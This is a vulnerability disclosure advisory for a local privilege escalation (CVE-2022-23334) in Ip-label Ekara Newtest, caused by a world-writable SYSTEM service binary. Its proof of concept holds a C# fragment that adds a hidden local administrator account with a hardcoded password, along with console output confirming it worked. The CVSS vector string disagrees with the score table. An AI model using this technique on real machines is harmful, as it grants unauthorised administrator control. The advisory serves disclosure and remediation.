

SECURITY ADVISORY

Ip-label – Ekara Newtest LOCAL PRIVILEGE ESCALATION

NICOLAS MARCELLIN 2021-08-03 CVE-2022-23334





1. SUMMARY

1.1.Context

Product description¹:

Ekara private Platform / Newtest is a tool that allows to measure the availability, performance, and response times of critical transactions. It uses representative locations within the company to regularly simulate business transactions and provide real-time insights into the availability, response times, and performance of critical application services.

1.2. Description

The Newtest robot creates a privileged service *"NEWTESTRemoteManager"* (as NT Authority\System) through the binary *"NEWTESTREMOTEMANAGER.exe"* writeable by everyone with no integrity check.

1.3. Products and versions affected

Affected products:

× Newtest 8.4R0 and earlier.

1.4.Impact

Any local user can become administrator by replacing the legitimate binary with a crafted malicious one.

1.5. Mitigations

Users who still use an older version of the product are strongly invited to upgrade to the latest version available at the author's site.

1.6. Disclosure timeline

DATE	EVENT
2021-08-03	Initial discovery.
2021-10-13	Initial contact to vendor.
2021-12-03	Vulnerability acknowledged by the vendor.
2022-07	Fix published by the vendor.
2023-01	Public disclosure.



¹ <u>https://www.ip-label.fr/notre-solution-newtest</u>



2. TECHNICAL DETAILS

2.1.Vulnerability details

The vulnerability is caused by a privileged service running as NT AUTHORITY\SYSTEM which can be manipulated by any local user.

2.2. Proof of concept

To exploit this vulnerability, an attacker could proceed as follow:

1. Modify the binary NEWTESTREMOTEMANAGER.EXE by a malicious one:



Rights on the binary « NEWTESTREMOTEMANAGER.EXE »







```
{
        DirectoryEntry AD = new DirectoryEntry("WinNT://" +
                           Environment.MachineName + ",computer");
        DirectoryEntry NewUser = AD.Children.Add(Name, "user");
        NewUser.Invoke("SetPassword", new object[] { Pass });
        NewUser.Invoke("Put", new object[] { "Description", "Privesc" });
        NewUser.CommitChanges();
        DirectoryEntry grp;
       grp = AD.Children.Find("Administrateurs", "group");
       if (grp != null) { grp.Invoke("Add", new object[] { NewUser.Path.ToString() }); }
       Console.ReadLine();
   }
   catch (Exception ex)
   {
       Console.WriteLine(ex.Message);
       Console.ReadLine();
   }
}
protected override void OnStart(string[] args)
{
   createUser("Iamgroot", "AdmGr00t123!");
```

Code extract of the malicious service

2. After replacing the binary with an unprivileged account (renamed then replaced), then restarting the machine, the account is successfully created on the machine:

C:\WINDOWS\system32>hostname
C:\WINDOWS\system32>runas /noprofile /user: \Iamgroot cmd Entrez le mot de passe de Iamgroot : Tentative de lancement de cmd en tant qu'utilisateur "\Iamgroot"
C:\WINDOWS\system32>

Use of « runas » command on the machine



Sélection cmd (en tant qu'utilisateur (lamgroot)	
C:\WINDOWS\system32≻whoami ∖iamgroot	
C:\WINDOWS\system32>net user iamgroot	
Nom d'utilisateur	Iamgroot
Nom complet	Iamgroot
Commentaire	Privesc
Commentaires utilisateur	
Code du pays ou de la région	000 (Valeur par défaut du système)
Compte : actif	Oui
Le compte expire	lamais
Mot de passe : dernier changmt.	26/07/2021 10:42:30
Le mot de passe expire	20/09/2021 10:42:30
Le mot de passe modifiable	27/07/2021 10:42:30
Mot de passe exigé	Oui
l'utilisateur peut changer de mot de passe	Oui
Stations autorisées	Tout
Script d'ouverture de session	
Profil d'utilisateur	
Répertoire de base	
Dernier accès	26/07/2021 10:49:07
Heures d'accès autorisé	Tout
Appartient aux groupes locaux	*Administrateurs
Appartient aux groupes globaux	*Aucun
La commande s'est terminée correctement.	

Use of « whoami » command on the machine

We noticed the presence of an "ip-label" certificate application's binaries, which shows a desire to deal with the integrity of these files:

Propriétés de : NEWTESTREMOTEMANAGER.EXE	Détails de la signature numérique ? X	Generificat X
Général Compatibilité Signatures numériques Sécurité Détails Versions précédentes	Général Avancé	Général Détails Chemin d'accès de certification
Liste des signatures Nom du signatair Algorithme Digest Horodateur ip-tabel sha 1 Non disponible Détails	Informations sur la signature numérique Un certificat requis n'est pas dans sa période de validité selon la vérification par rapport à l'horioge système en cours ou le tampon daté dans le fichier signé. Informations sur le signataire Nom :	Informations sur le certificat
	Contre-signatures Nom du signatai Adresse de mes Horodateur	Délivré à : ip-label Délivré par Symantec Class 3 SHA256 Code Signing CA Valide du 17/05/2018 au 17/05/2021
	Détails	Installer un certificat Déclaration de l'émetteur
OK Annuler Appliquer		ОК

Certificate configuration for the binary « NEWTESTREMOTEMANAGER.EXE »

However, the certificate issued by Symantec and delivered to the "ip-label" entity was expired at the time of testing.





2.3. Risk characterization

		Exploitability: 2.9		Impact: 4.3			
	Base Score	Attack Vector	Local	Scope	Changed		
		Attack Complexity	Low	Confidentiality	High		
CVSS		Privileges Required	Low	Integrity	High		
		User Interaction	None	Availability	High		
8.6	Temporal	Exploit Code Maturity	Functional	Remediation Level	Workaround		
High	Score	Report Confidence	Confirmed				
	Environmental	Confidentiality Requirement	Not Defined	Availability Requirement	Not Defined		
	Score	Integrity Requirement	Not Defined				
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N							

2.4. References

MITRE, CVE-2022-23334 :

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-23334

